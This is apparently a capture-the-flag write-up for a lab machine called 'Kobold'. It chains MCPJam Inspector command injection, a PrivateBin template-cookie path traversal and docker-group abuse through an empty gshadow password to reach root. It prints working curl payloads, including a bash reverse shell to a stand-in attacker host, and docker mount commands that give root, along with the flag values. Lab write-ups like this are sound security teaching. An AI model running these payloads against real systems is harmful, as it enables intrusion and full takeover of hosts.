Machine Info
- Name: Kobold
- IP: 10.129.245.50
- OS: Linux (Ubuntu)
- Difficulty: Easy
- Key Skills: MCP Server Command Injection, PrivateBin LFI (GHSA-g2j9-g8r5-rg82), Docker Socket Abuse, newgrp/sg Group Switching
Summary
Kobold is a Linux machine running three services - an nginx reverse proxy fronting a PrivateBin 2.0.2 instance, an MCPJam Inspector web application, and SSH. The wildcard TLS certificate (*.kobold.htb) hints at subdomains: bin.kobold.htb (PrivateBin) and mcp.kobold.htb (MCPJam Inspector). The MCPJam Inspector exposes an API endpoint (/api/mcp/connect) that accepts arbitrary MCP server configurations including stdio transport with user-controlled command and args - effectively allowing remote command execution on the host. This yields a reverse shell as ben. For privilege escalation, the docker group in /etc/gshadow has an empty password, allowing any user to switch into it via sg docker or newgrp docker. Mounting the host filesystem into a Docker container gives full root access.
Attack Chain:
Subdomain enum -> MCPJam /api/mcp/connect (RCE) -> shell as ben -> sg docker (empty group password) -> docker mount host root -> root
Reconnaissance
Port Scan
nmap -sC -sV -Pn --min-rate 1000 10.129.245.50
Key open ports:
| Port | Service | Details |
|---|---|---|
| 22 | SSH | OpenSSH 9.6p1 Ubuntu |
| 80 | HTTP | nginx 1.24.0 - redirects to HTTPS |
| 443 | HTTPS | nginx 1.24.0 - “Kobold Operations Suite” |
The TLS certificate has a wildcard SAN: *.kobold.htb, indicating subdomains exist.
Subdomain Enumeration
Fuzzing the Host header against kobold.htb reveals two subdomains:
- bin.kobold.htb - PrivateBin 2.0.2
- mcp.kobold.htb - MCPJam Inspector (React SPA)
Service Architecture
Port 443 -> nginx reverse proxy (TLS termination)
bin.kobold.htb -> PrivateBin 2.0.2 (PHP-FPM on port 8080)
mcp.kobold.htb -> MCPJam Inspector (Node.js on port 6274)
Initial Access - MCPJam Inspector Command Injection
Discovering the API
The MCPJam Inspector is a web-based tool for testing MCP (Model Context Protocol) servers. Extracting API routes from the bundled JavaScript reveals several endpoints:
curl -sk https://mcp.kobold.htb/assets/index-DRYhT9Xb.js \
| grep -oE '"/api/[^"]*"' | sort -u
Key endpoints:
/api/mcp/connect- Connect to an MCP server/api/mcp/servers- List connected servers/api/mcp/tools/execute- Execute MCP tools
Exploiting the Connect Endpoint
The /api/mcp/connect endpoint accepts a serverConfig object with transportType, command, and args fields. When transportType is stdio, the server spawns the specified command directly on the host - with no validation or sanitization.
Testing command execution:
curl -sk -X POST https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverId":"test","serverConfig":{"transportType":"stdio","command":"id","args":[]}}'
The response confirms execution:
{"success":false,"error":"Connection failed for server test: MCP error -32000: Connection closed"}
The command runs but the connection closes because id is not an MCP server. The error proves arbitrary command execution.
Reverse Shell
Set up a listener and trigger a bash reverse shell:
# Attacker
ncat -lvnp 9001
# Trigger via MCPJam API
curl -sk -X POST https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{
"serverId":"shell",
"serverConfig":{
"transportType":"stdio",
"command":"bash",
"args":["-c","bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"]
}
}'
ben@kobold:~$ id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
User Flag
ben@kobold:~$ cat /home/ben/user.txt
17d05c930a07049b127319cd2d6f2f42
PrivateBin LFI - GHSA-g2j9-g8r5-rg82
PrivateBin 2.0.2 is vulnerable to Local File Inclusion via the template cookie. When templateselection is enabled, the TemplateSwitcher blindly trusts user input to construct file paths:
PATH/tpl/{user_input}.php
A path traversal payload like template=../cfg/conf includes the PrivateBin configuration file. While the PrivateBin config has PHP protection headers that prevent clean output, the vulnerability confirms the application is running vulnerable code.
curl -sk -v -b "template=../cfg/conf" https://bin.kobold.htb/
# Returns HTTP 500 - file included but PHP protection triggers an error
The /privatebin-data/ directory is accessible to the operator group (which ben belongs to), exposing the TLS private key:
cat /privatebin-data/certs/key.pem
Privilege Escalation - Docker Socket Abuse
Enumeration
Checking group memberships reveals the escalation path:
ben@kobold:~$ cat /etc/group | grep -E "docker|operator"
operator:x:37:ben,alice
docker:x:111:alice
benis in theoperatorgroup but notdockeraliceis in bothoperatoranddocker- The Docker socket is owned by
root:docker
Docker Group Password - Empty in gshadow
The docker group has an empty password in /etc/gshadow. This means any user can switch into the docker group using newgrp or sg without knowing a password.
In a non-interactive shell, newgrp blocks waiting for TTY input. The sg command works as a drop-in alternative:
ben@kobold:~$ sg docker -c "id"
uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)
Enumerating Docker Images
ben@kobold:~$ sg docker -c "docker images"
REPOSITORY TAG IMAGE ID CREATED SIZE
mysql latest f66b7a288113 6 weeks ago 922MB
privatebin/nginx-fpm-alpine 2.0.2 f5f5564e6731 4 months ago 122MB
Mounting the Host Filesystem
With Docker access, mount the entire host filesystem into a container and read the root flag:
sg docker -c "docker run -v /:/mnt --rm mysql chroot /mnt cat /root/root.txt"
2932d5fc422d9b3dc396da2780b1fe76
For a full root shell:
sg docker -c "docker run -it -v /:/mnt --rm mysql chroot /mnt bash"
root@container:/# id
uid=0(root) gid=0(root) groups=0(root)
Lessons Learned
- MCP server connection endpoints are a new attack surface - MCPJam Inspector’s
/api/mcp/connectexecutes arbitrary commands viastdiotransport. Any application that spawns MCP servers from user input without validation is effectively an RCE endpoint. - PrivateBin template switching enables LFI - GHSA-g2j9-g8r5-rg82 affects versions before 2.0.3. The
templatecookie allows path traversal to include arbitrary PHP files on the system. - Empty group passwords in gshadow are dangerous - If a privileged group (like
docker) has an empty password field in/etc/gshadow, any local user can join it withnewgrporsg. This is often overlooked during hardening. - Docker group membership equals root - Any user who can talk to the Docker socket can mount the host filesystem and gain full root access. The
dockergroup should be treated as equivalent toroot. sgbypasses TTY requirements - Whennewgrphangs in a non-interactive shell,sg group -c "command"achieves the same group switch without requiring a terminal.
